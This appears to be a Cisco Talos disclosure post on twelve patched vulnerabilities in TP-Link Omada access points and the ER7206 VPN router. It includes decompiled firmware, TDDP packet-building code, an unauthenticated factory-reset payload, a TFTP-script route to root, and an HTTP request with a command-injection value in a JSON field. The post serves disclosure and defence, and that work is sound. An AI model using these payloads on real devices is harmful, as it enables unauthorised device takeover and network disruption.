• The TP-Link Omada system is a software-defined networking solution for small to medium-sized businesses. It touts cloud-managed devices and local management for all Omada devices. 
  • The supported devices in this ecosystem vary greatly but include wireless access points, routers, switches, VPN devices and hardware controllers for the Omada software. 
  • Cisco Talos researchers have discovered and helped to patch several vulnerabilities in the Omada system, focusing on a small subset of the available devices, including the EAP 115 and EAP 225 wireless access points, and the ER7206 gigabit VPN router.
  • Twelve unique vulnerabilities were identified and reported to the vendor following our responsible disclosure policy.

Talos ID

CVE(s)

TALOS-2023-1888

CVE-2023-49906-CVE-2023-49913

TALOS-2023-1864

CVE-2023-48724

TALOS-2023-1862

CVE-2023-49133-CVE-2023-49134

TALOS-2023-1861

CVE-2023-49074

TALOS-2023-1859

CVE-2023-47618

TALOS-2023-1858

CVE-2023-47617

TALOS-2023-1857

CVE-2023-46683

TALOS-2023-1856

CVE-2023-42664

TALOS-2023-1855

CVE-2023-47167

TALOS-2023-1854

CVE-2023-47209

TALOS-2023-1853

CVE-2023-36498

TALOS-2023-1850

CVE-2023-43482

Vulnerability overview

TALOS-2023-1888

A stack-based buffer overflow vulnerability exists in the web interface Radio Scheduling functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of HTTP requests can lead to remote code execution.

TALOS-2023-1864

A memory corruption vulnerability exists in the web interface functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted HTTP POST request can lead to denial of service of the device's web interface. 

TALOS-2023-1862

A command execution vulnerability exists in the tddpd enable_test_mode functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926 and TP-Link N300 Wireless Access Point (EAP115 V4) v5.0.4, build 20220216. A specially crafted series of network requests can lead to arbitrary command execution. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.

TALOS-2023-1861

A denial-of-service vulnerability exists in the TDDP functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of network requests could allow an adversary to reset the device back to its factory settings. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.

TALOS-2023-1859

A post-authentication command execution vulnerability exists in the web filtering functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.

TALOS-2023-1858

A post-authentication command injection vulnerability exists when configuring the web group member of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection

TALOS-2023-1857

A post-authentication command injection vulnerability exists when configuring the WireGuard VPN functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1856

A post-authentication command injection vulnerability exists when setting up the PPTP global configuration of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1855

A post-authentication command injection vulnerability exists in the GRE policy functionality of TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1854

A post-authentication command injection vulnerability exists in the IPsec policy functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1853

A post-authentication command injection vulnerability exists in the PPTP client functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection, and allow an adversary to gain access to an unrestricted shell.

TALOS-2023-1850

A command execution vulnerability exists in the guest resource functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.

Vulnerability highlights

TDDP on wireless access points

TDDP is the TP-Link Device Debug Protocol available on many TP-Link devices. This service running on UDP 1040 is only open during the first 15 minutes of a device’s runtime. This is effectively a mechanism to enable users to have a device serviced remotely without having to activate and deactivate a service manually. This service is exposed any time the device restarts for exactly 15 minutes. During this time, various functions on the device are exposed, which are listed later in this post. Most of this functionality seems to be directly related to factory testing.

Building a request

TDDP request messages consist of a header of size 0x1C followed by a data field only used by select commands. This header generally follows the format laid out in the structure below:

struct tddp_header {
    uint8_t version,
    uint8_t type,
    uint8_t code,
    uint8_t direction,
    uint32_t pay_len,
    uint16_t pkt_id,
    uint8_t sub_type,
    uint8_t reserved,
    uint8_t[0x10] digest,
}

Version

Only two versions of the TDDP service currently appear to be implemented on the target devices: 0x01 and 0x02. Of these, version 0x02 is the only one that contains any functionality of note. 

00407778  int32_t tddpPktInterfaceFunction(int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg4)
...
00407878          if (arg1 != 0 && arg1 != 0)
0040791c              memset(0x42f780, 0, 0x14000)
0040797c              uint32_t $tddp_version = zx.d(*arg1)
00407994              int32_t len
00407994              if ($tddp_version == 1)
00407b1c                  len = tddp_versionOneOpt(arg1, 0x42f780)
...
004079a8              if ($tddp_version == 2)
004079bc                  if (arg4 s< 0x1c)
004079e0                      len_1 = printf("[TDDP_ERROR]<error>[%s:%d] inval…", "tddpPktInterfaceFunction", 0x292)
00407a18                  else
00407a18                      inet_ntop(2, &arg_8, &var_24, 0x10)
00407a38                      if (g_some_string_copying_routine(&var_24) == 0)
00407af4                          len = tddp_versionTwoOpt(ggg_tppd_req_buf_p: arg1, &data_42f780, arg4)
00407a48                      else
...
00407d04      return len_1

In our target devices, only one request within version 0x01 was supported: tddp_sysInit. This request seemed to have little effect on the running device.

0040849c  int32_t tddp_versionOneOpt(void* arg1, int32_t arg2)
…
004084b8      int32_t var_14 = 0
004084bc      int32_t var_18 = 0
004084d8      int32_t var_10
004084d8      if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
004084fc          printf("[TDDP_ERROR]<error>[%s:%d] Invla…", "tddp_versionOneOpt", 0x35f)
0040850c          var_10 = 0xffffffff
004084d8      if (arg1 != 0 && arg2 != 0)
00408548          if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
0040856c              printf("[TDDP_ERROR]<error>[%s:%d] pTddp…", "tddp_versionOneOpt", 0x367)
0040857c              var_10 = 0xffffffff
00408548          if (arg1 != 0 && arg2 != 0)
0040859c              memcpy(arg2, arg1, 0xc)
004085c0              if (zx.d(*(arg1 + 1)) != 0xc)
00408698                  printf("[TDDP_ERROR]<error>[%s:%d] Recei…", "tddp_versionOneOpt", 0x3cf)
004086a8                  var_10 = 0xffffffff
004085e4              else
004085e4                  printf("[TDDP_DEBUG]<debug>[%s:%d] Recei…", "tddp_versionOneOpt", 0x370)
00408600                  tddp_sysInit(arg1, arg2)
0040863c                  uint32_t $v1_3 = zx.d(printf("[TDDP_DEBUG]<debug>[%s:%d] Send …", "tddp_versionOneOpt", 0x372))
00408670                  var_10 = ntohl(*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_3))) + 0xc
004086b8      return var_10

Version 0x02, on the other hand, supports a variety of requests, documented later in this post. 

004086c0  int32_t tddp_versionTwoOpt(int32_t arg1, void* arg2, int32_t arg3)
...
00408868                  memset(arg1, 0, 0x14000)
00408888                  memcpy(arg1, arg2, 0x1c)
0040889c                  uint32_t $v0_11 = zx.d(*(arg1 + 1))
004088b4                  if ($v0_11 == 3)
004088f4                      printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x407)
00408910                      specialCmdOpt(arg2, arg1)
00408938                      printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x409)
004088c8                  if ($v0_11 == 7)
0040895c                      puts("TDDP: enc_cmd. \r")
00408978                      encCmdOpt(arg2, arg1)
00408994                      puts("TDDP: enc_cmd over. \r")
...
004088c8                  if ($v0_11 != 3 && $v0_11 != 7)
004089c4                      printf("[TDDP_ERROR]<error>[%s:%d] Reciv…", "tddp_versionTwoOpt", 0x413)
004089d4                      var_c = 0xffffffff
00408a04      return var_c

When either of these type values are selected, a corresponding sub_type value (documented below) must be supplied.

Payload length

The pay_lenSubtype field contains the number of bytes that make up the payload. This value is calculated after all necessary padding has been applied, but before the payload is encrypted. 

Subtype

The sub_type in use depends on the type value is previously chosen. Sub_type breakouts for each supported types are listed later in this post. These mappings are specific to the targeted devices and may change from device to device. 

The way sub_types are processed differently between the two major type requests. SPECIAL_CMD_OPT requests the sub_type value in this field. ENC_CMD_OPT requests ignore the sub_type field and instead expect the sub_type value to be supplied in the payload at byte offset 0x0A (offset 0x26 into the entire request).

00408a0c  int32_t encCmdOpt(void* arg1, int32_t arg2)
...
00408b54                  uint32_t $v0_12 = zx.d(*(arg1 + 0x26))
00408b6c                  if ($v0_12 == 0x47)
00408d58                      printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x457)
00408d88                      uint32_t $v1_11 = zx.d(tddp_getSoftVer(arg1 + 0x1c, arg2))
00408dc8                      *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_11))) + 0xc)
00408dec                      $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x45a)
00408bb0                  else
00408bb0                      if ($v0_12 == 0x48)
00408e1c                          printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x45e)
00408e4c                          uint32_t $v1_14 = zx.d(tddp_getModelName(arg1 + 0x1c, arg2))
00408e8c                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_14))) + 0xc)
00408eb0                          $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x461)
00408bc4                      if ($v0_12 == 0x49)
00408bdc                          puts("TDDP: resetting. \r")
00408c0c                          uint32_t $v1_5 = zx.d(tddp_resetFactory(arg1 + 0x1c, arg2))
00408c4c                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_5))) + 0xc)
00408c64                          $v0_2 = puts("TDDP: reset over. \r")
00408b94                      if ($v0_12 == 0x46)
00408c94                          printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x450)
00408cc4                          uint32_t $v1_8 = zx.d(tddp_getHardVer(arg1 + 0x1c, arg2))
00408d04                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_8))) + 0xc)
00408d28                          $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x453)
00408bc4                      if (($v0_12 s< 0x48 && $v0_12 != 0x46) || ($v0_12 s>= 0x48 && $v0_12 != 0x48 && $v0_12 != 0x49))
00408ed4                          $v0_2 = puts("TDDP: Recive unknow enc_cmd, no …")
00408ee8      return $v0_2

Digest

Every TDDP request must contain an MD5 digest of the entire request, including the payload after it has been padded but before it has been encrypted. When calculating this value, the digest field must be filled with 0x10 null bytes. For example:

digest_req = b''
digest_req += struct.pack('B', self.version) 
digest_req += struct.pack('B', self.type)    
digest_req += struct.pack('B', self.code)     
digest_req += struct.pack('B', self.direction) 
digest_req += struct.pack('>L', self.pkt_len)  
digest_req += struct.pack('>H', self.pkt_id)     
digest_req += struct.pack('B', self.sub_type)
digest_req += struct.pack('B', self.reserved)
digest_req += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
digest_req += self.payload

digest = hashlib.md5(digest_req).digest()

Payload

For some requests to successfully execute, a payload is required. Regardless of the contents of the payload, it must first be padded with null bytes to an eight-byte boundary. Once padded, the payload must then be DES encrypted. For example:

base_key = ''
base_key += self.username
base_key += self.password
tddp_key = hashlib.md5(base_key.encode()).digest()[:8]
key = des(tddp_key, ECB)
tddp_data = key.encrypt(self.payload, padmode=PAD_PKCS5)

Unaddressed fields

A few more request fields that have not been explicitly called out here exist: code, direction, reserved, and pkt_id. These fields are necessary for a successful request but have values that have stayed static across our testing.

Vulnerability impact

Factory reset device (TALOS-2023-1861)

While enabled during startup, TDDP can be used to factory reset the device through a single ENC_CMD_OPT request, passing a subtype code of 0x49 via the payload field. 

This type of request deviates from the typical usage of the payload field in that it does not get DES encrypted before being sent. Instead, it supplies the subtype code by placing it within the payload field at offset 0x0A while leaving every other byte null. 

When properly formatted, this results in a payload field with the following contents:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00

Combining this payload field with the remaining required fields gives a request with the following elements:

version

0x02

type

0x07

code

0x01

direction

0x00

pay_len 

0x10

pkt_id

0x01

sub_type

<ignored>

reserved

0x00

digest

<dynamic>

payload

00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00

When a request is properly constructed and sent to a TP-Link EAP115 or EAP225 with the TDDP service listening, the device resets its configuration to the factory default and begins acting abnormally until the next power cycle when the default configuration takes full effect. 

Gain root access (TALOS-2023-1862)

TDDP can also be used to indirectly obtain root access on certain devices through one of the exposed TDDP commands, enableTestMode. The exact purpose of this command is unclear, but when this test mode is enabled, the device sends a TFTP request to a predefined address (192.168.0.100) looking for a file named "test_mode_tp.sh," which is subsequently executed. This sequence can be seen in the code snippet below:

int32_t api_wlan_enableTestMode() {    
    struct stat buf;
    memset(&buf, 0, 0x98);
    int32_t i;
    do {
        i = execFormatCmd("arping -I %s -c 1 192.168.0.100", "br0")                     // [1] Check for the existence of a system at 192.168.0.100
    } while (i == 1);
    execFormatCmd("tftp -g 192.168.0.100 -r test_mode_tp.sh -l /tmp/test_mode_tp.sh");  // [2] TFTP Get a file named `test_mode_tp.sh` from 192.168.0.100
    stat("/tmp/test_mode_tp.sh", &buf);
    int32_t result = 1;
    if (buf.st_size s> 0) {                                                             // [3] If the file was successfully fetched...
        execFormatCmd("chmod +x /tmp/test_mode_tp.sh");                                 // [4] Mark the file as executable
        execFormatCmd("/tmp/test_mode_tp.sh &");                                        // [5] and finally execute the shell script with root permissions
        result = 0;
    }
    return result;
}

By assigning a host the address 192.168.0.100 and setting up a TFTP server serving the test_mode_tp.sh script on that host, the device can be forced to execute any command as the root user immediately after the enableTestMode TDDP request is sent. 

Command injection vulnerabilities in VPN router

The cgi-bin functionality of the ER7206 Gigabit VPN Router is backed completely by compiled LUA scripts. Because these scripts don’t have a standard compilation format for Lua, reverse engineering can be difficult. For exact decompilation, the version of the original compiler is necessary. This complicates the analysis, but studying even the compiled code provided hints about implementation details and further guided our manual testing. A common vulnerability class that plagues similar software is command injection due to unsanitized input. We have exhaustively tested input fields in the user interface and have uncovered eight distinct command injection vulnerabilities, most in the user interface related to configuring VPN technologies (PPTP, GRE, Wireguard, IPSec). The presence of these was verified by testing for side effects of successful abuse of each vulnerability. While all identified vulnerabilities in this group require authentication before exploitation — which lowers their severity — they can be abused to acquire unrestricted shell access. This expands an attacker’s possible attack paths and can further aid in achieving persistence on the device. 

Exploitation of a command injection vulnerability is straightforward. In the following example, the `name` field in JSON data is the target of command injection. No input filtering occurs while handling the data in this POST request, any shell metacharacters that are included in the POST body can be used to execute arbitrary commands within the authenticated context:

POST /cgi-bin/luci/;stok=b53d9dc12fe8aa66f4fdc273e6eaa534/admin/freeStrategy?form=strategy_list HTTP/1.1
Host: 192.168.8.100
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: sysauth=8701fa9dc1908978bc804e7d08931706
Content-Length: 470

data={"method":"add","params":{"index":0,"old":"add","new":{"name":"DDDDL|`/usr/bin/id>/tmp/had`","strategy_type":"five_tuple","src_ipset":"/","dst_ipset":"/","mac":"","sport":"-","dport":"-","service_type":"TCP","zone":"LAN1","comment":"","enable":"on"},"key":"add"}}

TDDP type/Sub-type mappings

SPECIAL_CMD_OPT (0x03)

Command Name

`sub_type` value

SYS_INIT

0x0C

GET_MAC_ADDR_1

0x37

GET_MAC_ADDR_2

0x40

GET_MAC_ADDR_3

0x66

SET_MAC_ADDR

0x06

GET_REGION_1

0x20

GET_REGION_2

0x42

SET_REGION_1

0x1F

SET_REGION_2

0x43

GET_UPLINK_PORT_RATE

0x7A

GET_DEVICE_ID_1

0x35

GET_DEVICE_ID_2

0x65

SET_DEVICE_ID_1

0x36

SET_DEVICE_ID_2

0x64

GET_OEM_ID

0x3B

GET_PRODUCT_ID

0x0A

GET_HARDWARE_ID

0x39

GET_SIGNATURE

0x05

SET_SIGNATURE

0x0B

ENABLE_TEST_MODE_1

0x4B

ENABLE_TEST_MODE_2

0x4F

CANCEL_TEST_MODE

0x07

START_WLAN_CAL_APP

0x12

ERASE_WLAN_CAL_DATA_1

0x11

ERASE_WLAN_CAL_DATA_2

0x63

DISABLE_PRE_CAC

0x5A

DISABLE_DFS

0x5B

DISABLE_TXBF

0x79

SET_POE_OUT

0x50

TEST_GPIO

0x32

NO_WLAN_INIT

0x7D

SET_BANDWIDTH

0x4C

SET_CHANNEL

0x4D

ENC_CMD_OPT (0x07)

Command Name

`sub_type` value

GET_HARDWARE_VERSION

0x46

GET_SOFTWARE_VERSION

0x47

GET_MODEL_NAME

0x48

PERFORM_FACTORY_RESET

0x49

Firmware update


The vendor released patches for these issues in February and April 2024. These can be found at:
N300 Wireless N Ceiling Mount Access Point EAP115
AC1350 Wireless MU-MIMO Gigabit Ceiling Mount Access Point EAP225
Omada Gigabit VPN Router ER7206